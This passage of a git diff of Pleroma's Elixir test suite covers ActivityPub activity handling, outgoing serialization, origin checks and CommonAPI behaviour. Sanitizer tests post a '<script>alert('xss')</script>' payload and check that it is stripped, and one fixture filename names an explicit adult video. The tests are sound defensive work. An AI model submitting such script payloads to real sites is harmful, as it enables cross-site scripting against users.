	File.read!("test/fixtures/mastodon-block-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", user.ap_id)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Block"
	assert data["object"] == user.ap_id
	assert data["actor"] == "http://mastodon.example.org/users/admin"

	blocker = User.get_cached_by_ap_id(data["actor"])

	assert User.blocks?(blocker, user)
	end

	test "incoming blocks successfully tear down any follow relationship" do
	blocker = insert(:user)
	blocked = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-block-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", blocked.ap_id)
	\|> Map.put("actor", blocker.ap_id)

	{:ok, blocker} = User.follow(blocker, blocked)
	{:ok, blocked} = User.follow(blocked, blocker)

	assert User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Block"
	assert data["object"] == blocked.ap_id
	assert data["actor"] == blocker.ap_id

	blocker = User.get_cached_by_ap_id(data["actor"])
	blocked = User.get_cached_by_ap_id(data["object"])

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "it works for incoming unblocks with an existing block" do
	user = insert(:user)

	block_data =
	File.read!("test/fixtures/mastodon-block-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", user.ap_id)

	{:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(block_data)

	data =
	File.read!("test/fixtures/mastodon-unblock-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", block_data)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	assert data["type"] == "Undo"
	assert data["object"]["type"] == "Block"
	assert data["object"]["object"] == user.ap_id
	assert data["actor"] == "http://mastodon.example.org/users/admin"

	blocker = User.get_cached_by_ap_id(data["actor"])

	refute User.blocks?(blocker, user)
	end

	test "it works for incoming accepts which were pre-accepted" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, follower} = User.follow(follower, followed)
	assert User.following?(follower, followed) == true

	{:ok, follow_activity} = ActivityPub.follow(follower, followed)

	accept_data =
	File.read!("test/fixtures/mastodon-accept-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", followed.ap_id)

	object =
	accept_data["object"]
	\|> Map.put("actor", follower.ap_id)
	\|> Map.put("id", follow_activity.data["id"])

	accept_data = Map.put(accept_data, "object", object)

	{:ok, activity} = Transmogrifier.handle_incoming(accept_data)
	refute activity.local

	assert activity.data["object"] == follow_activity.data["id"]

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == true
	end

	test "it works for incoming accepts which were orphaned" do
	follower = insert(:user)
	followed = insert(:user, %{info: %User.Info{locked: true}})

	{:ok, follow_activity} = ActivityPub.follow(follower, followed)

	accept_data =
	File.read!("test/fixtures/mastodon-accept-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", followed.ap_id)

	accept_data =
	Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id))

	{:ok, activity} = Transmogrifier.handle_incoming(accept_data)
	assert activity.data["object"] == follow_activity.data["id"]

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == true
	end

	test "it works for incoming accepts which are referenced by IRI only" do
	follower = insert(:user)
	followed = insert(:user, %{info: %User.Info{locked: true}})

	{:ok, follow_activity} = ActivityPub.follow(follower, followed)

	accept_data =
	File.read!("test/fixtures/mastodon-accept-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", followed.ap_id)
	\|> Map.put("object", follow_activity.data["id"])

	{:ok, activity} = Transmogrifier.handle_incoming(accept_data)
	assert activity.data["object"] == follow_activity.data["id"]

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == true
	end

	test "it fails for incoming accepts which cannot be correlated" do
	follower = insert(:user)
	followed = insert(:user, %{info: %User.Info{locked: true}})

	accept_data =
	File.read!("test/fixtures/mastodon-accept-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", followed.ap_id)

	accept_data =
	Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id))

	:error = Transmogrifier.handle_incoming(accept_data)

	follower = User.get_cached_by_id(follower.id)

	refute User.following?(follower, followed) == true
	end

	test "it fails for incoming rejects which cannot be correlated" do
	follower = insert(:user)
	followed = insert(:user, %{info: %User.Info{locked: true}})

	accept_data =
	File.read!("test/fixtures/mastodon-reject-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", followed.ap_id)

	accept_data =
	Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id))

	:error = Transmogrifier.handle_incoming(accept_data)

	follower = User.get_cached_by_id(follower.id)

	refute User.following?(follower, followed) == true
	end

	test "it works for incoming rejects which are orphaned" do
	follower = insert(:user)
	followed = insert(:user, %{info: %User.Info{locked: true}})

	{:ok, follower} = User.follow(follower, followed)
	{:ok, _follow_activity} = ActivityPub.follow(follower, followed)

	assert User.following?(follower, followed) == true

	reject_data =
	File.read!("test/fixtures/mastodon-reject-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", followed.ap_id)

	reject_data =
	Map.put(reject_data, "object", Map.put(reject_data["object"], "actor", follower.ap_id))

	{:ok, activity} = Transmogrifier.handle_incoming(reject_data)
	refute activity.local

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == false
	end

	test "it works for incoming rejects which are referenced by IRI only" do
	follower = insert(:user)
	followed = insert(:user, %{info: %User.Info{locked: true}})

	{:ok, follower} = User.follow(follower, followed)
	{:ok, follow_activity} = ActivityPub.follow(follower, followed)

	assert User.following?(follower, followed) == true

	reject_data =
	File.read!("test/fixtures/mastodon-reject-activity.json")
	\|> Poison.decode!()
	\|> Map.put("actor", followed.ap_id)
	\|> Map.put("object", follow_activity.data["id"])

	{:ok, %Activity{data: _}} = Transmogrifier.handle_incoming(reject_data)

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == false
	end

	test "it rejects activities without a valid ID" do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-follow-activity.json")
	\|> Poison.decode!()
	\|> Map.put("object", user.ap_id)
	\|> Map.put("id", "")

	:error = Transmogrifier.handle_incoming(data)
	end

	test "it remaps video URLs as attachments if necessary" do
	{:ok, object} =
	- ActivityPub.fetch_object_from_id(
	+ Fetcher.fetch_object_from_id(
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	)

	attachment = %{
	"type" => "Link",
	"mediaType" => "video/mp4",
	"href" =>
	"https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4",
	"mimeType" => "video/mp4",
	"size" => 5_015_880,
	"url" => [
	%{
	"href" =>
	"https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4",
	"mediaType" => "video/mp4",
	"type" => "Link"
	}
	],
	"width" => 480
	}

	assert object.data["url"] ==
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"

	assert object.data["attachment"] == [attachment]
	end

	test "it accepts Flag activities" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test post"})
	object = Object.normalize(activity.data["object"])

	message = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"cc" => [user.ap_id],
	"object" => [user.ap_id, object.data["id"]],
	"type" => "Flag",
	"content" => "blocked AND reported!!!",
	"actor" => other_user.ap_id
	}

	assert {:ok, activity} = Transmogrifier.handle_incoming(message)

	assert activity.data["object"] == [user.ap_id, object.data["id"]]
	assert activity.data["content"] == "blocked AND reported!!!"
	assert activity.data["actor"] == other_user.ap_id
	assert activity.data["cc"] == [user.ap_id]
	end
	end

	describe "prepare outgoing" do
	test "it turns mentions into tags" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{"status" => "hey, @#{other_user.nickname}, how are ya? #2hu"})

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)
	object = modified["object"]

	expected_mention = %{
	"href" => other_user.ap_id,
	"name" => "@#{other_user.nickname}",
	"type" => "Mention"
	}

	expected_tag = %{
	"href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu",
	"type" => "Hashtag",
	"name" => "#2hu"
	}

	assert Enum.member?(object["tag"], expected_tag)
	assert Enum.member?(object["tag"], expected_mention)
	end

	test "it adds the sensitive property" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "#nsfw hey"})
	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["object"]["sensitive"]
	end

	test "it adds the json-ld context and the conversation property" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "hey"})
	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["@context"] ==
	Pleroma.Web.ActivityPub.Utils.make_json_ld_header()["@context"]

	assert modified["object"]["conversation"] == modified["context"]
	end

	test "it sets the 'attributedTo' property to the actor of the object if it doesn't have one" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "hey"})
	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["object"]["actor"] == modified["object"]["attributedTo"]
	end

	test "it translates ostatus IDs to external URLs" do
	incoming = File.read!("test/fixtures/incoming_note_activity.xml")
	{:ok, [referent_activity]} = OStatus.handle_incoming(incoming)

	user = insert(:user)

	{:ok, activity, _} = CommonAPI.favorite(referent_activity.id, user)
	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["object"] == "http://gs.example.org:4040/index.php/notice/29"
	end

	test "it translates ostatus reply_to IDs to external URLs" do
	incoming = File.read!("test/fixtures/incoming_note_activity.xml")
	{:ok, [referred_activity]} = OStatus.handle_incoming(incoming)

	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{"status" => "HI!", "in_reply_to_status_id" => referred_activity.id})

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["object"]["inReplyTo"] == "http://gs.example.org:4040/index.php/notice/29"
	end

	test "it strips internal hashtag data" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "#2hu"})

	expected_tag = %{
	"href" => Pleroma.Web.Endpoint.url() <> "/tags/2hu",
	"type" => "Hashtag",
	"name" => "#2hu"
	}

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["object"]["tag"] == [expected_tag]
	end

	test "it strips internal fields" do
	user = insert(:user)

	- {:ok, activity} = CommonAPI.post(user, %{"status" => "#2hu :moominmamma:"})
	+ {:ok, activity} = CommonAPI.post(user, %{"status" => "#2hu :firefox:"})

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert length(modified["object"]["tag"]) == 2

	assert is_nil(modified["object"]["emoji"])
	assert is_nil(modified["object"]["like_count"])
	assert is_nil(modified["object"]["announcements"])
	assert is_nil(modified["object"]["announcement_count"])
	assert is_nil(modified["object"]["context_id"])
	end

	test "it strips internal fields of article" do
	activity = insert(:article_activity)

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert length(modified["object"]["tag"]) == 2

	assert is_nil(modified["object"]["emoji"])
	assert is_nil(modified["object"]["like_count"])
	assert is_nil(modified["object"]["announcements"])
	assert is_nil(modified["object"]["announcement_count"])
	assert is_nil(modified["object"]["context_id"])
	end

	test "it adds like collection to object" do
	activity = insert(:note_activity)
	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["object"]["likes"]["type"] == "OrderedCollection"
	assert modified["object"]["likes"]["totalItems"] == 0
	end

	test "the directMessage flag is present" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu :moominmamma:"})

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["directMessage"] == false

	{:ok, activity} =
	CommonAPI.post(user, %{"status" => "@#{other_user.nickname} :moominmamma:"})

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["directMessage"] == false

	{:ok, activity} =
	CommonAPI.post(user, %{
	"status" => "@#{other_user.nickname} :moominmamma:",
	"visibility" => "direct"
	})

	{:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)

	assert modified["directMessage"] == true
	end
	end

	describe "user upgrade" do
	test "it upgrades a user to activitypub" do
	user =
	insert(:user, %{
	nickname: "rye@niu.moe",
	local: false,
	ap_id: "https://niu.moe/users/rye",
	follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"})
	})

	user_two = insert(:user, %{following: [user.follower_address]})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
	{:ok, unrelated_activity} = CommonAPI.post(user_two, %{"status" => "test"})
	assert "http://localhost:4001/users/rye@niu.moe/followers" in activity.recipients

	user = User.get_cached_by_id(user.id)
	assert user.info.note_count == 1

	{:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye")
	assert user.info.ap_enabled
	assert user.info.note_count == 1
	assert user.follower_address == "https://niu.moe/users/rye/followers"

	user = User.get_cached_by_id(user.id)
	assert user.info.note_count == 1

	activity = Activity.get_by_id(activity.id)
	assert user.follower_address in activity.recipients

	assert %{
	"url" => [
	%{
	"href" =>
	"https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"
	}
	]
	} = user.avatar

	assert %{
	"url" => [
	%{
	"href" =>
	"https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
	}
	]
	} = user.info.banner

	refute "..." in activity.recipients

	unrelated_activity = Activity.get_by_id(unrelated_activity.id)
	refute user.follower_address in unrelated_activity.recipients

	user_two = User.get_cached_by_id(user_two.id)
	assert user.follower_address in user_two.following
	refute "..." in user_two.following
	end
	end

	describe "maybe_retire_websub" do
	test "it deletes all websub client subscripitions with the user as topic" do
	subscription = %WebsubClientSubscription{topic: "https://niu.moe/users/rye.atom"}
	{:ok, ws} = Repo.insert(subscription)

	subscription = %WebsubClientSubscription{topic: "https://niu.moe/users/pasty.atom"}
	{:ok, ws2} = Repo.insert(subscription)

	Transmogrifier.maybe_retire_websub("https://niu.moe/users/rye")

	refute Repo.get(WebsubClientSubscription, ws.id)
	assert Repo.get(WebsubClientSubscription, ws2.id)
	end
	end

	describe "actor rewriting" do
	test "it fixes the actor URL property to be a proper URI" do
	data = %{
	"url" => %{"href" => "http://example.com"}
	}

	rewritten = Transmogrifier.maybe_fix_user_object(data)
	assert rewritten["url"] == "http://example.com"
	end
	end

	describe "actor origin containment" do
	- test "it rejects objects with a bogus origin" do
	- {:error, _} = ActivityPub.fetch_object_from_id("https://info.pleroma.site/activity.json")
	- end
	-
	test "it rejects activities which reference objects with bogus origins" do
	data = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"id" => "http://mastodon.example.org/users/admin/activities/1234",
	"actor" => "http://mastodon.example.org/users/admin",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"object" => "https://info.pleroma.site/activity.json",
	"type" => "Announce"
	}

	:error = Transmogrifier.handle_incoming(data)
	end

	- test "it rejects objects when attributedTo is wrong (variant 1)" do
	- {:error, _} = ActivityPub.fetch_object_from_id("https://info.pleroma.site/activity2.json")
	- end
	-
	test "it rejects activities which reference objects that have an incorrect attribution (variant 1)" do
	data = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"id" => "http://mastodon.example.org/users/admin/activities/1234",
	"actor" => "http://mastodon.example.org/users/admin",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"object" => "https://info.pleroma.site/activity2.json",
	"type" => "Announce"
	}

	:error = Transmogrifier.handle_incoming(data)
	end

	- test "it rejects objects when attributedTo is wrong (variant 2)" do
	- {:error, _} = ActivityPub.fetch_object_from_id("https://info.pleroma.site/activity3.json")
	- end
	-
	test "it rejects activities which reference objects that have an incorrect attribution (variant 2)" do
	data = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"id" => "http://mastodon.example.org/users/admin/activities/1234",
	"actor" => "http://mastodon.example.org/users/admin",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"object" => "https://info.pleroma.site/activity3.json",
	"type" => "Announce"
	}

	:error = Transmogrifier.handle_incoming(data)
	end
	end

	- describe "general origin containment" do
	- test "contain_origin_from_id() catches obvious spoofing attempts" do
	- data = %{
	- "id" => "http://example.com/~alyssa/activities/1234.json"
	- }
	-
	- :error =
	- Transmogrifier.contain_origin_from_id(
	- "http://example.org/~alyssa/activities/1234.json",
	- data
	- )
	- end
	-
	- test "contain_origin_from_id() allows alternate IDs within the same origin domain" do
	- data = %{
	- "id" => "http://example.com/~alyssa/activities/1234.json"
	- }
	-
	- :ok =
	- Transmogrifier.contain_origin_from_id(
	- "http://example.com/~alyssa/activities/1234",
	- data
	- )
	- end
	-
	- test "contain_origin_from_id() allows matching IDs" do
	- data = %{
	- "id" => "http://example.com/~alyssa/activities/1234.json"
	- }
	-
	- :ok =
	- Transmogrifier.contain_origin_from_id(
	- "http://example.com/~alyssa/activities/1234.json",
	- data
	- )
	- end
	-
	- test "users cannot be collided through fake direction spoofing attempts" do
	- insert(:user, %{
	- nickname: "rye@niu.moe",
	- local: false,
	- ap_id: "https://niu.moe/users/rye",
	- follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"})
	- })
	-
	- {:error, _} = User.get_or_fetch_by_ap_id("https://n1u.moe/users/rye")
	- end
	-
	- test "all objects with fake directions are rejected by the object fetcher" do
	- {:error, _} =
	- ActivityPub.fetch_and_contain_remote_object_from_id(
	- "https://info.pleroma.site/activity4.json"
	- )
	- end
	- end
	-
	describe "reserialization" do
	test "successfully reserializes a message with inReplyTo == nil" do
	user = insert(:user)

	message = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"cc" => [],
	"type" => "Create",
	"object" => %{
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"cc" => [],
	"type" => "Note",
	"content" => "Hi",
	"inReplyTo" => nil,
	"attributedTo" => user.ap_id
	},
	"actor" => user.ap_id
	}

	{:ok, activity} = Transmogrifier.handle_incoming(message)

	{:ok, _} = Transmogrifier.prepare_outgoing(activity.data)
	end

	test "successfully reserializes a message with AS2 objects in IR" do
	user = insert(:user)

	message = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"cc" => [],
	"type" => "Create",
	"object" => %{
	"to" => ["https://www.w3.org/ns/activitystreams#Public"],
	"cc" => [],
	"type" => "Note",
	"content" => "Hi",
	"inReplyTo" => nil,
	"attributedTo" => user.ap_id,
	"tag" => [
	%{"name" => "#2hu", "href" => "http://example.com/2hu", "type" => "Hashtag"},
	%{"name" => "Bob", "href" => "http://example.com/bob", "type" => "Mention"}
	]
	},
	"actor" => user.ap_id
	}

	{:ok, activity} = Transmogrifier.handle_incoming(message)

	{:ok, _} = Transmogrifier.prepare_outgoing(activity.data)
	end
	end
	end
	diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs
	index 34aa5bf18..a5b07c446 100644
	--- a/test/web/common_api/common_api_test.exs
	+++ b/test/web/common_api/common_api_test.exs
	@@ -1,265 +1,270 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.CommonAPITest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	+ alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	test "with the safe_dm_mention option set, it does not mention people beyond the initial tags" do
	har = insert(:user)
	jafnhar = insert(:user)
	tridi = insert(:user)
	option = Pleroma.Config.get([:instance, :safe_dm_mentions])
	Pleroma.Config.put([:instance, :safe_dm_mentions], true)

	{:ok, activity} =
	CommonAPI.post(har, %{
	"status" => "@#{jafnhar.nickname} hey, i never want to see @#{tridi.nickname} again",
	"visibility" => "direct"
	})

	refute tridi.ap_id in activity.recipients
	assert jafnhar.ap_id in activity.recipients
	Pleroma.Config.put([:instance, :safe_dm_mentions], option)
	end

	test "it de-duplicates tags" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "#2hu #2HU"})

	- assert activity.data["object"]["tag"] == ["2hu"]
	+ object = Object.normalize(activity.data["object"])
	+
	+ assert object.data["tag"] == ["2hu"]
	end

	test "it adds emoji in the object" do
	user = insert(:user)
	- {:ok, activity} = CommonAPI.post(user, %{"status" => ":moominmamma:"})
	+ {:ok, activity} = CommonAPI.post(user, %{"status" => ":firefox:"})

	- assert activity.data["object"]["emoji"]["moominmamma"]
	+ assert Object.normalize(activity).data["emoji"]["firefox"]
	end

	test "it adds emoji when updating profiles" do
	- user = insert(:user, %{name: ":karjalanpiirakka:"})
	+ user = insert(:user, %{name: ":firefox:"})

	CommonAPI.update(user)
	user = User.get_cached_by_ap_id(user.ap_id)
	- [karjalanpiirakka] = user.info.source_data["tag"]
	+ [firefox] = user.info.source_data["tag"]

	- assert karjalanpiirakka["name"] == ":karjalanpiirakka:"
	+ assert firefox["name"] == ":firefox:"
	end

	describe "posting" do
	test "it filters out obviously bad tags when accepting a post as HTML" do
	user = insert(:user)

	post = "<p><b>2hu</b></p><script>alert('xss')</script>"

	{:ok, activity} =
	CommonAPI.post(user, %{
	"status" => post,
	"content_type" => "text/html"
	})

	- content = activity.data["object"]["content"]
	- assert content == "<p><b>2hu</b></p>alert('xss')"
	+ object = Object.normalize(activity.data["object"])
	+
	+ assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')"
	end

	test "it filters out obviously bad tags when accepting a post as Markdown" do
	user = insert(:user)

	post = "<p><b>2hu</b></p><script>alert('xss')</script>"

	{:ok, activity} =
	CommonAPI.post(user, %{
	"status" => post,
	"content_type" => "text/markdown"
	})

	- content = activity.data["object"]["content"]
	- assert content == "<p><b>2hu</b></p>alert('xss')"
	+ object = Object.normalize(activity.data["object"])
	+
	+ assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')"
	end
	end

	describe "reactions" do
	test "repeating a status" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})

	{:ok, %Activity{}, _} = CommonAPI.repeat(activity.id, user)
	end

	test "favoriting a status" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})

	{:ok, %Activity{}, _} = CommonAPI.favorite(activity.id, user)
	end

	test "retweeting a status twice returns an error" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})
	{:ok, %Activity{}, _object} = CommonAPI.repeat(activity.id, user)
	{:error, _} = CommonAPI.repeat(activity.id, user)
	end

	test "favoriting a status twice returns an error" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "cofe"})
	{:ok, %Activity{}, _object} = CommonAPI.favorite(activity.id, user)
	{:error, _} = CommonAPI.favorite(activity.id, user)
	end
	end

	describe "pinned statuses" do
	setup do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 1)

	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})

	[user: user, activity: activity]
	end

	test "pin status", %{user: user, activity: activity} do
	assert {:ok, ^activity} = CommonAPI.pin(activity.id, user)

	id = activity.id
	user = refresh_record(user)

	assert %User{info: %{pinned_activities: [^id]}} = user
	end

	test "only self-authored can be pinned", %{activity: activity} do
	user = insert(:user)

	assert {:error, "Could not pin"} = CommonAPI.pin(activity.id, user)
	end

	test "max pinned statuses", %{user: user, activity: activity_one} do
	{:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})

	assert {:ok, ^activity_one} = CommonAPI.pin(activity_one.id, user)

	user = refresh_record(user)

	assert {:error, "You have already pinned the maximum number of statuses"} =
	CommonAPI.pin(activity_two.id, user)
	end

	test "unpin status", %{user: user, activity: activity} do
	{:ok, activity} = CommonAPI.pin(activity.id, user)

	user = refresh_record(user)

	assert {:ok, ^activity} = CommonAPI.unpin(activity.id, user)

	user = refresh_record(user)

	assert %User{info: %{pinned_activities: []}} = user
	end

	test "should unpin when deleting a status", %{user: user, activity: activity} do
	{:ok, activity} = CommonAPI.pin(activity.id, user)

	user = refresh_record(user)

	assert {:ok, _} = CommonAPI.delete(activity.id, user)

	user = refresh_record(user)

	assert %User{info: %{pinned_activities: []}} = user
	end
	end

	describe "mute tests" do
	setup do
	user = insert(:user)

	activity = insert(:note_activity)

	[user: user, activity: activity]
	end

	test "add mute", %{user: user, activity: activity} do
	{:ok, _} = CommonAPI.add_mute(user, activity)
	assert CommonAPI.thread_muted?(user, activity)
	end

	test "remove mute", %{user: user, activity: activity} do
	CommonAPI.add_mute(user, activity)
	{:ok, _} = CommonAPI.remove_mute(user, activity)
	refute CommonAPI.thread_muted?(user, activity)
	end

	test "check that mutes can't be duplicate", %{user: user, activity: activity} do
	CommonAPI.add_mute(user, activity)
	{:error, _} = CommonAPI.add_mute(user, activity)
	end
	end

	describe "reports" do
	test "creates a report" do
	reporter = insert(:user)
	target_user = insert(:user)

	{:ok, activity} = CommonAPI.post(target_user, %{"status" => "foobar"})

	reporter_ap_id = reporter.ap_id
	target_ap_id = target_user.ap_id
	activity_ap_id = activity.data["id"]
	comment = "foobar"

	report_data = %{
	"account_id" => target_user.id,
	"comment" => comment,
	"status_ids" => [activity.id]
	}

	assert {:ok, flag_activity} = CommonAPI.report(reporter, report_data)

	assert %Activity{
	actor: ^reporter_ap_id,
	data: %{
	"type" => "Flag",
	"content" => ^comment,
	"object" => [^target_ap_id, ^activity_ap_id]
	}
	} = flag_activity
	end
	end

	describe "reblog muting" do
	setup do
	muter = insert(:user)

	muted = insert(:user)

	[muter: muter, muted: muted]
	end

	test "add a reblog mute", %{muter: muter, muted: muted} do
	{:ok, muter} = CommonAPI.hide_reblogs(muter, muted)

	assert Pleroma.User.showing_reblogs?(muter, muted) == false
	end

	test "remove a reblog mute", %{muter: muter, muted: muted} do
	{:ok, muter} = CommonAPI.hide_reblogs(muter, muted)
	{:ok, muter} = CommonAPI.show_reblogs(muter, muted)

	assert Pleroma.User.showing_reblogs?(muter, muted) == true
	end
	end
	end
	diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs
	index f0c59d5c3..837a66063 100644
	--- a/test/web/common_api/common_api_utils_test.exs
	+++ b/test/web/common_api/common_api_utils_test.exs
	@@ -1,192 +1,192 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.CommonAPI.UtilsTest do
	alias Pleroma.Builders.UserBuilder
	alias Pleroma.Object
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.Endpoint
	use Pleroma.DataCase

	test "it adds attachment links to a given text and attachment set" do
	name =
	"Sakura%20Mana%20%E2%80%93%20Turned%20on%20by%20a%20Senior%20OL%20with%20a%20Temptating%20Tight%20Skirt-s%20Full%20Hipline%20and%20Panty%20Shot-%20Beautiful%20Thick%20Thighs-%20and%20Erotic%20Ass-%20-2015-%20--%20Oppaitime%208-28-2017%206-50-33%20PM.png"

	attachment = %{
	"url" => [%{"href" => name}]
	}

	res = Utils.add_attachments("", [attachment])

	assert res ==
	"<br><a href=\"#{name}\" class='attachment'>Sakura Mana – Turned on by a Se…</a>"
	end

	describe "it confirms the password given is the current users password" do
	test "incorrect password given" do
	{:ok, user} = UserBuilder.insert()

	assert Utils.confirm_current_password(user, "") == {:error, "Invalid password."}
	end

	test "correct password given" do
	{:ok, user} = UserBuilder.insert()
	assert Utils.confirm_current_password(user, "test") == {:ok, user}
	end
	end

	test "parses emoji from name and bio" do
	- {:ok, user} = UserBuilder.insert(%{name: ":karjalanpiirakka:", bio: ":perkele:"})
	+ {:ok, user} = UserBuilder.insert(%{name: ":blank:", bio: ":firefox:"})

	expected = [
	%{
	"type" => "Emoji",
	- "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}/finmoji/128px/perkele-128.png"},
	- "name" => ":perkele:"
	+ "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}/emoji/Firefox.gif"},
	+ "name" => ":firefox:"
	},
	%{
	"type" => "Emoji",
	"icon" => %{
	"type" => "Image",
	- "url" => "#{Endpoint.url()}/finmoji/128px/karjalanpiirakka-128.png"
	+ "url" => "#{Endpoint.url()}/emoji/blank.png"
	},
	- "name" => ":karjalanpiirakka:"
	+ "name" => ":blank:"
	}
	]

	assert expected == Utils.emoji_from_profile(user)
	end

	describe "format_input/3" do
	test "works for bare text/plain" do
	text = "hello world!"
	expected = "hello world!"

	{output, [], []} = Utils.format_input(text, "text/plain")

	assert output == expected

	text = "hello world!\n\nsecond paragraph!"
	expected = "hello world!<br><br>second paragraph!"

	{output, [], []} = Utils.format_input(text, "text/plain")

	assert output == expected
	end

	test "works for bare text/html" do
	text = "<p>hello world!</p>"
	expected = "<p>hello world!</p>"

	{output, [], []} = Utils.format_input(text, "text/html")

	assert output == expected

	text = "<p>hello world!</p>\n\n<p>second paragraph</p>"
	expected = "<p>hello world!</p>\n\n<p>second paragraph</p>"

	{output, [], []} = Utils.format_input(text, "text/html")

	assert output == expected
	end

	test "works for bare text/markdown" do
	text = "hello world"
	expected = "<p><strong>hello world</strong></p>\n"

	{output, [], []} = Utils.format_input(text, "text/markdown")

	assert output == expected

